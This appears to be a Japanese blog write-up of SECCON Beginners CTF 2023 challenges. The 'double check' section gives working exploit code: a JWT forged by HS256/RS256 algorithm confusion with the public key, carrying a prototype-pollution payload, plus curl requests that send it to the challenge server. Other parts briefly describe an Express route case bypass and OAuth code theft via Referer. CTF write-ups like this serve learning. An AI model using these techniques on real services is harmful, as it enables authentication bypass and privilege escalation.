SECCON Beginners CTF 2023にチームTSGとして出ました。miscの3問(drmsaw、polyglot4b2、treasure)を残してしまいましたが、3107点で4位でした。
ちなみに私は何もしませんでした。無です。
各問題writeup
double check
const token = Object.assign({}, verified); const user = Object.assign(req.session.user, verified); if (token.admin && user.admin) { res.send(`Congratulations! Here"s your flag: ${FLAG}`); return; }
なるほど、verified
に{"__proto__":{"admin":true}}
を入れたら勝てるprototype pollutionパターンね。うんうん。実はこないだのTSG LIVE! CTFの作問をするときprototype pollutionの手法についてかなり調べたので。作問って解く側の経験値も入るんだなあ。
で、jwtどうやって倒すの?
ここで1時間弱詰まる。「jwt改竄無理では?」と言っていたら、先に解けてたチームの人(id:pizzacat83)から「sign/verifyの処理をちゃんと読んでみろ」というヒントをもらう。そして、よく見てみると……
verified = jwt.verify( req.header("Authorization"), readKeyFromFile("keys/public.key"), { algorithms: ["RS256", "HS256"] } );
ソースコードの中で燦然と輝くHS256
。そ、そんなことが……www なんで気付かなかった。
というわけで、配布ファイルに含まれていた「公開鍵」を使ってHS256でsignして投げると解ける。 最新のjsonwebtoken@9.0.0では対策が入って、HS256でRSAの公開鍵などを指定していると設定がおかしいとエラーになる(明らかに正しくない設定だから当然)。実際の問題で使われている8.5.2を使うこと。
const jwt = require('jsonwebtoken') const fs = require('fs') const key = fs.readFileSync('./app/keys/public.key') const signed = jwt.sign(`{"__proto__":{"admin":true}}`, key, { algorithm: 'HS256' }) console.log(signed) // eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM // test console.log(Object.assign({}, jwt.verify(signed, key, {algorithms: ['HS256']})).admin) // true
よし、投げるか。
curl 'https://double-check.beginners.seccon.games/register' -X POST -H 'Content-Type: application/json' -d '{"username":"fabon","password":"hoge"}' -H "Cookie: $COOKIE" curl 'https://double-check.beginners.seccon.games/flag' -X POST -H "Cookie: $COOKIE" -H 'Authorization: eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM'
Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}
勝ち。prototype pollutionって怖いね。なお既に解いてる人がいたのでこれはチームへの貢献に含みません。
Forbidden
beginnerって書いてるし、もうチームメイトが解いてるし、その人も「やるだけ」って言ってたし、軽い気持ちで見た。
……解けない。さすがにCTF引退です。
(expressのルータがcase insentiveだったというオチ。なぜ思いつかなかった、なぜ実装を調べようとしなかった? マジでCTF引退します)
oooauth
なんも分からん。
callbackページにHTML injection可能だったので「Referer経由でcodeを盗めるのでは? 」と言ってみたところ、pizzacat氏が残りの部分(codeを消費させないようにするパート)を全部解いてくれました。強すぎる。勝てません。「協力して」というのもちょっとおこがましいレベル。私より先に問題見てたpizzacat氏が問題の整理とかもやってくれていたので、私の本質的貢献は限りなく0に近い。はい。
↓こちらは作問者writeup
初めはCSS injectionとかiframeでゴニョゴニョとかそういうのを先に考えてたんですが、無理そうでした。
drmsaw
起きたらあと30分で、残っているmiscのうち手が出せそうなやつに取りかかった。しかしHLSへの理解が足りず、yt-dlpやffmpegでいろいろ頑張ったもののタイムアップ。暗号鍵は開発者ツールのネットワークタブでキャッチできた(はずな)のであとはやるだけと思ったんだけど……全然やれなかった……
感想
CTFマジでなんもできん。号泣。
いや、ガチ初心者はさすがに脱出してると思うんですけど、実感がない。プレイヤーとしてちゃんと成長できてるんだろうか……